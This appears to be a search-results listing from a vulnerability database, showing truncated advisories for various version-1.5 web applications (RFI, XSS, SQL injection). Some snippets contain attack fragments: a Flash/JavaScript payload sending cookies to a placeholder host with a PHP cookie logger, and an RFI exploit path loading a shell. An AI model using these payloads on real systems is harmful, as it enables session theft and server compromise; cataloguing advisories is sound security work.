614 matches found
gastebuch-rfi.txt
Gästebuch Version 1.5 Remote Command Execution Vulnerability ----------------------------------------------------------------------- Script : Gästebuch Version Version : 1.5 Site : http://www.mapos-scripts.de/downloads.php?download=11 Founder : Rizgar Contact : [email protected] and...
Gstebuch Version 1.5 Remote Command Execution Vulnerability
Gastebuch Version 1.5 Remote Command Execution Vulnerability ----------------------------------------------------------------------- Script : Gastebuch Version Version : 1.5 Site : http://www.mapos-scripts.de/downloads.php?download=11 Founder : Rizgar Contact : [email protected] and...
XOOPS Module TinyContent 1.5 Remote File Inclusion Vulnerability
No description provided by source. XOOPS Module TinyContent Remote File Inclusion version: 1.5 source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent15.zip Discovered by SpLo1T from hTTP://hacking.3Xforum.Ro BUG:...
xoops module tinycontent 1.5 - Remote File Inclusion
xoops module tinycontent 1.5 - Remote File Inclusion XOOPS Module TinyContent Remote File Inclusion version: 1.5 source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent15.zip Discovered by SpLo1T from hTTP://hacking.3Xforum.Ro BUG:...
XOOPS Module TinyContent 1.5 Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================ XOOPS Module TinyContent 1.5 Remote File Inclusion Vulnerability ================================================================ XOOPS Module TinyContent Remote File Inclusi...
CWB PRO Version 1.5(INCLUDE_PATH)Remote File Include Vulnerabilites
CWB PRO Version 1.5INCLUDEPATHRemote File Include Vulnerabilites D.Script: http://codewalkers.com/codefiles/373cwbs1.5demo.zip Discovered by: GloDM = Mahmoodali Homepage: http://www.Tryag.cc Exploit:Path/include/clsheadlineprod.php?INCLUDEPATH=Shell...
CWB PRO 1.5 (INCLUDE_PATH) Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ================================================================ CWB PRO 1.5 INCLUDEPATH Remote File Inclusion Vulnerabilities ================================================================ CWB PRO Version 1.5INCLUDEPATHRemote File Inclu...
Nuked Klan任意.SWF文件COOKIE窃取漏洞
Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...
JAF CMS Forum.PHP远程文件包含漏洞
Salims Softhouse JAF CMS是一款基于PHP的内容管理程序。 Salims Softhouse JAF CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Forum.PHP'脚本对用户提交的'applAPPL'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Salims Softhouse JAF CMS 4.0 RC1 Salims Softhouse JAF CMS 3.0 RC Salims Softhouse JAF CMS 2.5 Salims Softhous...
Mozilla Firefox 1.5.x < 1.5.0.9 / 2.x < 2.0.0.1 Multiple Vulnerabilities
Binary data 3868.prm...
Moodle 1.51.6 - modforumdiscuss.php?navtail Cross-Site Scripting
Moodle 1.51.6 - modforumdiscuss.php?navtail Cross-Site Scripting source: https://www.securityfocus.com/bid/21596/info Moodle is reported prone to multiple input-validation vulnerabilities, including a cross-site scripting issue and an HTML injection issue, because the application fails to properl...
Moodle 1.5/1.6 - '/mod/forum/discuss.php?navtail' Cross-Site Scripting
source: https://www.securityfocus.com/bid/21596/info Moodle is reported prone to multiple input-validation vulnerabilities, including a cross-site scripting issue and an HTML injection issue, because the application fails to properly sanitize user-supplied input data. The cross-site scripting...
ProNews 1.5 - 'lire-avis.php?aa' SQL Injection
source: https://www.securityfocus.com/bid/21516/info ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input. A...
PT-2006-6166 · Dev · Dev Web Management System
Name of the Vulnerable Software and Affected Versions: DEV Web Management System WMS version 1.5 Description: The issue is related to a cross-site scripting XSS vulnerability. This vulnerability allows remote attackers to inject arbitrary web script or HTML via the action parameter in the...
{x0n3-h4ck} DEV Web Manager System <= 1.5 XSS Exploit
-=--------------------ADVISORY-------------------=- -= =- -= DEV Web Manager System = 1.5 =- -= =- -= Author: CorryL corryl80 at gmail dot com email concealed =- -= www.x0n3-h4ck.org =- -=----------------------------------------------------=- -=+ Application: DEV Web Manager System -=+ Version: 1...
OpenSSL RSA Signature Forgery Vulnerability
OpenSSL versions 0.9.7j and prior and 0.9.8b and prior contain a vulnerability that could allow an unauthenticated, remote attacker to successfully pass a forged X.509 certificate. The vulnerability could allow an unauthenticated, remote attacker to pass a forged Public-Key Cryptography Standards...
wowroster15x.txt
Title : WoW Roster = 1.5.x Remote File Include hsList.php Discovered By :::: AG-Spider ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger ----------------------------------------------------------------------------- dork : "wow...
VWar 1.5 - stats.php?vwar_root Remote File Inclusion
VWar 1.5 - stats.php?vwarroot Remote File Inclusion source: https://www.securityfocus.com/bid/19387/info VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitra...
VWar 1.5 - member.php?vwar_root Remote File Inclusion
VWar 1.5 - member.php?vwarroot Remote File Inclusion source: https://www.securityfocus.com/bid/19387/info VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an...
WoW Roster <= 1.5.x Remote File Include (hsList.php)
Title : WoW Roster = 1.5.x Remote File Include hsList.php Discovered By :::: AG-Spider ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger ----------------------------------------------------------------------------- dork : "wow...